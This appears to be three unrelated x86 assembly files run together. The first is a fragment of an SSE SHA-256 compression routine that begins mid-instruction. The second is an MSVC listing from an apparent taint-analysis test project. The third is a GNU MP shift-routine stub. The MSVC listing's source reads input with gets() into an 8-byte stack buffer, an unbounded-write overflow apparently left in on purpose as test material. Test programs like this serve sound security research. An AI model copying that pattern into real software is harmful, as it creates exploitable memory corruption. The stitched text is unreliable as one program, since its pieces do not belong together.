%ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (28)(%esp), %eax mov %edx, (12)(%esp) mov %eax, (28)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (%esp), %edi xor (4)(%esp), %edi and %eax, %edi xor (4)(%esp), %edi mov (8)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (16)(%esp), %esi movl (20)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (24)(%esp), %eax mov %edx, (8)(%esp) mov %eax, (24)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (28)(%esp), %edi xor (%esp), %edi and %eax, %edi xor (%esp), %edi mov (4)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (12)(%esp), %esi movl (16)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (20)(%esp), %eax mov %edx, (4)(%esp) mov %eax, (20)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (24)(%esp), %edi xor (28)(%esp), %edi and %eax, %edi xor (28)(%esp), %edi mov (%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (8)(%esp), %esi movl (12)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (16)(%esp), %eax mov %edx, (%esp) mov %eax, (16)(%esp) pshufb %xmm6, %xmm2 movdqa %xmm2, %xmm7 paddd (32)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (20)(%esp), %edi xor (24)(%esp), %edi and %eax, %edi xor (24)(%esp), %edi mov (28)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (4)(%esp), %esi movl (8)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (12)(%esp), %eax mov %edx, (28)(%esp) mov %eax, (12)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (16)(%esp), %edi xor (20)(%esp), %edi and %eax, %edi xor (20)(%esp), %edi mov (24)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (%esp), %esi movl (4)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (8)(%esp), %eax mov %edx, (24)(%esp) mov %eax, (8)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (12)(%esp), %edi xor (16)(%esp), %edi and %eax, %edi xor (16)(%esp), %edi mov (20)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (28)(%esp), %esi movl (%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (4)(%esp), %eax mov %edx, (20)(%esp) mov %eax, (4)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (8)(%esp), %edi xor (12)(%esp), %edi and %eax, %edi xor (12)(%esp), %edi mov (16)(%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (24)(%esp), %esi movl (28)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (%esp), %eax mov %edx, (16)(%esp) mov %eax, (%esp) pshufb %xmm6, %xmm3 movdqa %xmm3, %xmm7 paddd (48)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (4)(%esp), %edi xor (8)(%esp), %edi and %eax, %edi xor (8)(%esp), %edi mov (12)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (20)(%esp), %esi movl (24)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (28)(%esp), %eax mov %edx, (12)(%esp) mov %eax, (28)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (%esp), %edi xor (4)(%esp), %edi and %eax, %edi xor (4)(%esp), %edi mov (8)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (16)(%esp), %esi movl (20)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (24)(%esp), %eax mov %edx, (8)(%esp) mov %eax, (24)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (28)(%esp), %edi xor (%esp), %edi and %eax, %edi xor (%esp), %edi mov (4)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (12)(%esp), %esi movl (16)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (20)(%esp), %eax mov %edx, (4)(%esp) mov %eax, (20)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (24)(%esp), %edi xor (28)(%esp), %edi and %eax, %edi xor (28)(%esp), %edi mov (%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (8)(%esp), %esi movl (12)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (16)(%esp), %eax mov %edx, (%esp) mov %eax, (16)(%esp) movl $(48), (48)(%esp) .Lloop_16_63gas_1: add $(64), %ebx pshufd $(250), %xmm3, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 pshufd $(165), %xmm0, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 pshufd $(80), %xmm0, %xmm7 pshufd $(165), %xmm2, %xmm6 paddd %xmm4, %xmm7 paddd %xmm5, %xmm7 paddd %xmm6, %xmm7 pshufd $(160), %xmm7, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 movdqa %xmm1, %xmm5 palignr $(12), %xmm0, %xmm5 pshufd $(80), %xmm5, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 movdqa %xmm3, %xmm6 palignr $(12), %xmm2, %xmm6 pshufd $(250), %xmm0, %xmm0 pshufd $(80), %xmm6, %xmm6 paddd %xmm4, %xmm0 paddd %xmm5, %xmm0 paddd %xmm6, %xmm0 pshufd $(136), %xmm7, %xmm7 pshufd $(136), %xmm0, %xmm0 palignr $(8), %xmm7, %xmm0 movdqa %xmm0, %xmm7 paddd (%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (20)(%esp), %edi xor (24)(%esp), %edi and %eax, %edi xor (24)(%esp), %edi mov (28)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (4)(%esp), %esi movl (8)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (12)(%esp), %eax mov %edx, (28)(%esp) mov %eax, (12)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (16)(%esp), %edi xor (20)(%esp), %edi and %eax, %edi xor (20)(%esp), %edi mov (24)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (%esp), %esi movl (4)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (8)(%esp), %eax mov %edx, (24)(%esp) mov %eax, (8)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (12)(%esp), %edi xor (16)(%esp), %edi and %eax, %edi xor (16)(%esp), %edi mov (20)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (28)(%esp), %esi movl (%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (4)(%esp), %eax mov %edx, (20)(%esp) mov %eax, (4)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (8)(%esp), %edi xor (12)(%esp), %edi and %eax, %edi xor (12)(%esp), %edi mov (16)(%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (24)(%esp), %esi movl (28)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (%esp), %eax mov %edx, (16)(%esp) mov %eax, (%esp) pshufd $(250), %xmm0, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 pshufd $(165), %xmm1, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 pshufd $(80), %xmm1, %xmm7 pshufd $(165), %xmm3, %xmm6 paddd %xmm4, %xmm7 paddd %xmm5, %xmm7 paddd %xmm6, %xmm7 pshufd $(160), %xmm7, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 movdqa %xmm2, %xmm5 palignr $(12), %xmm1, %xmm5 pshufd $(80), %xmm5, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 movdqa %xmm0, %xmm6 palignr $(12), %xmm3, %xmm6 pshufd $(250), %xmm1, %xmm1 pshufd $(80), %xmm6, %xmm6 paddd %xmm4, %xmm1 paddd %xmm5, %xmm1 paddd %xmm6, %xmm1 pshufd $(136), %xmm7, %xmm7 pshufd $(136), %xmm1, %xmm1 palignr $(8), %xmm7, %xmm1 movdqa %xmm1, %xmm7 paddd (16)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (4)(%esp), %edi xor (8)(%esp), %edi and %eax, %edi xor (8)(%esp), %edi mov (12)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (20)(%esp), %esi movl (24)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (28)(%esp), %eax mov %edx, (12)(%esp) mov %eax, (28)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (%esp), %edi xor (4)(%esp), %edi and %eax, %edi xor (4)(%esp), %edi mov (8)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (16)(%esp), %esi movl (20)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (24)(%esp), %eax mov %edx, (8)(%esp) mov %eax, (24)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (28)(%esp), %edi xor (%esp), %edi and %eax, %edi xor (%esp), %edi mov (4)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (12)(%esp), %esi movl (16)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (20)(%esp), %eax mov %edx, (4)(%esp) mov %eax, (20)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (24)(%esp), %edi xor (28)(%esp), %edi and %eax, %edi xor (28)(%esp), %edi mov (%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (8)(%esp), %esi movl (12)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (16)(%esp), %eax mov %edx, (%esp) mov %eax, (16)(%esp) pshufd $(250), %xmm1, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 pshufd $(165), %xmm2, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 pshufd $(80), %xmm2, %xmm7 pshufd $(165), %xmm0, %xmm6 paddd %xmm4, %xmm7 paddd %xmm5, %xmm7 paddd %xmm6, %xmm7 pshufd $(160), %xmm7, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 movdqa %xmm3, %xmm5 palignr $(12), %xmm2, %xmm5 pshufd $(80), %xmm5, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 movdqa %xmm1, %xmm6 palignr $(12), %xmm0, %xmm6 pshufd $(250), %xmm2, %xmm2 pshufd $(80), %xmm6, %xmm6 paddd %xmm4, %xmm2 paddd %xmm5, %xmm2 paddd %xmm6, %xmm2 pshufd $(136), %xmm7, %xmm7 pshufd $(136), %xmm2, %xmm2 palignr $(8), %xmm7, %xmm2 movdqa %xmm2, %xmm7 paddd (32)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (20)(%esp), %edi xor (24)(%esp), %edi and %eax, %edi xor (24)(%esp), %edi mov (28)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (4)(%esp), %esi movl (8)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (12)(%esp), %eax mov %edx, (28)(%esp) mov %eax, (12)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (16)(%esp), %edi xor (20)(%esp), %edi and %eax, %edi xor (20)(%esp), %edi mov (24)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (%esp), %esi movl (4)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (8)(%esp), %eax mov %edx, (24)(%esp) mov %eax, (8)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (12)(%esp), %edi xor (16)(%esp), %edi and %eax, %edi xor (16)(%esp), %edi mov (20)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (28)(%esp), %esi movl (%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (4)(%esp), %eax mov %edx, (20)(%esp) mov %eax, (4)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (8)(%esp), %edi xor (12)(%esp), %edi and %eax, %edi xor (12)(%esp), %edi mov (16)(%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (24)(%esp), %esi movl (28)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (%esp), %eax mov %edx, (16)(%esp) mov %eax, (%esp) pshufd $(250), %xmm2, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 pshufd $(165), %xmm3, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 pshufd $(80), %xmm3, %xmm7 pshufd $(165), %xmm1, %xmm6 paddd %xmm4, %xmm7 paddd %xmm5, %xmm7 paddd %xmm6, %xmm7 pshufd $(160), %xmm7, %xmm4 movdqa %xmm4, %xmm6 psrld $(10), %xmm4 psrlq $(17), %xmm6 pxor %xmm6, %xmm4 psrlq $(2), %xmm6 pxor %xmm6, %xmm4 movdqa %xmm0, %xmm5 palignr $(12), %xmm3, %xmm5 pshufd $(80), %xmm5, %xmm5 movdqa %xmm5, %xmm6 psrld $(3), %xmm5 psrlq $(7), %xmm6 pxor %xmm6, %xmm5 psrlq $(11), %xmm6 pxor %xmm6, %xmm5 movdqa %xmm2, %xmm6 palignr $(12), %xmm1, %xmm6 pshufd $(250), %xmm3, %xmm3 pshufd $(80), %xmm6, %xmm6 paddd %xmm4, %xmm3 paddd %xmm5, %xmm3 paddd %xmm6, %xmm3 pshufd $(136), %xmm7, %xmm7 pshufd $(136), %xmm3, %xmm3 palignr $(8), %xmm7, %xmm3 movdqa %xmm3, %xmm7 paddd (48)(%ebx), %xmm7 movdqu %xmm7, (32)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (4)(%esp), %edi xor (8)(%esp), %edi and %eax, %edi xor (8)(%esp), %edi mov (12)(%esp), %eax add %esi, %eax add %edi, %eax addl (32)(%esp), %eax movl (20)(%esp), %esi movl (24)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (28)(%esp), %eax mov %edx, (12)(%esp) mov %eax, (28)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (%esp), %edi xor (4)(%esp), %edi and %eax, %edi xor (4)(%esp), %edi mov (8)(%esp), %eax add %esi, %eax add %edi, %eax addl (36)(%esp), %eax movl (16)(%esp), %esi movl (20)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (24)(%esp), %eax mov %edx, (8)(%esp) mov %eax, (24)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (28)(%esp), %edi xor (%esp), %edi and %eax, %edi xor (%esp), %edi mov (4)(%esp), %eax add %esi, %eax add %edi, %eax addl (40)(%esp), %eax movl (12)(%esp), %esi movl (16)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (20)(%esp), %eax mov %edx, (4)(%esp) mov %eax, (20)(%esp) mov %eax, %esi ror $(6), %esi mov %eax, %ecx ror $(11), %ecx xor %ecx, %esi ror $(14), %ecx xor %ecx, %esi mov (24)(%esp), %edi xor (28)(%esp), %edi and %eax, %edi xor (28)(%esp), %edi mov (%esp), %eax add %esi, %eax add %edi, %eax addl (44)(%esp), %eax movl (8)(%esp), %esi movl (12)(%esp), %ecx mov %edx, %edi xor %ecx, %edi xor %esi, %ecx and %ecx, %edi xor %esi, %ecx xor %ecx, %edi mov %edx, %esi ror $(2), %esi mov %edx, %ecx ror $(13), %ecx xor %ecx, %esi ror $(9), %ecx xor %ecx, %esi lea (%edi,%esi), %edx add %eax, %edx add (16)(%esp), %eax mov %edx, (%esp) mov %eax, (16)(%esp) subl $(16), (48)(%esp) jg .Lloop_16_63gas_1 movl (8)(%ebp), %eax movdqu (%esp), %xmm0 movdqu (16)(%esp), %xmm1 movdqu (%eax), %xmm7 paddd %xmm0, %xmm7 movdqu %xmm7, (%eax) movdqu (16)(%eax), %xmm7 paddd %xmm1, %xmm7 movdqu %xmm7, (16)(%eax) addl $(64), (12)(%ebp) subl $(64), (16)(%ebp) jg .Lsha256_block_loopgas_1 add $(52), %esp pop %edi pop %esi pop %ebx pop %ebp ret
; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.40219.01 TITLE D:\Projects\TaintAnalysis\AntiTaint\Epilog\src\func-iparam-stdcall.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES _DATA SEGMENT $SG3571 DB '%d %d %d %d %s', 0aH, 00H _DATA ENDS PUBLIC _func@16 EXTRN __imp__printf:PROC EXTRN __imp__gets:PROC ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-iparam-stdcall.c _TEXT SEGMENT _buf$ = -8 ; size = 8 _param1$ = 8 ; size = 4 _param2$ = 12 ; size = 4 _param3$ = 16 ; size = 4 _param4$ = 20 ; size = 4 _func@16 PROC ; 16 : { push ebp mov ebp, esp sub esp, 8 ; 17 : char buf[8]; ; 18 : gets(buf); lea eax, DWORD PTR _buf$[ebp] push eax call DWORD PTR __imp__gets add esp, 4 ; 19 : printf("%d %d %d %d %s\n", param1, param2, param3, param4, buf); lea ecx, DWORD PTR _buf$[ebp] push ecx mov edx, DWORD PTR _param4$[ebp] push edx mov eax, DWORD PTR _param3$[ebp] push eax mov ecx, DWORD PTR _param2$[ebp] push ecx mov edx, DWORD PTR _param1$[ebp] push edx push OFFSET $SG3571 call DWORD PTR __imp__printf add esp, 24 ; 00000018H ; 20 : } mov esp, ebp pop ebp ret 16 ; 00000010H _func@16 ENDP _TEXT ENDS PUBLIC _main ; Function compile flags: /Odtpy _TEXT SEGMENT _main PROC ; 23 : { push ebp mov ebp, esp ; 24 : func(1, 2, 3, 4); push 4 push 3 push 2 push 1 call _func@16 ; 25 : return 0; xor eax, eax ; 26 : } pop ebp ret 0 _main ENDP _TEXT ENDS END
dnl Intel Pentium-II mpn_rshift -- mpn left shift. dnl Copyright 2001 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 3 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. dnl The P55 code runs well on P-II/III, but could stand some minor tweaks dnl at some stage probably. include(`../config.m4') MULFUNC_PROLOGUE(mpn_rshift) include_mpn(`x86/pentium/mmx/rshift.asm')
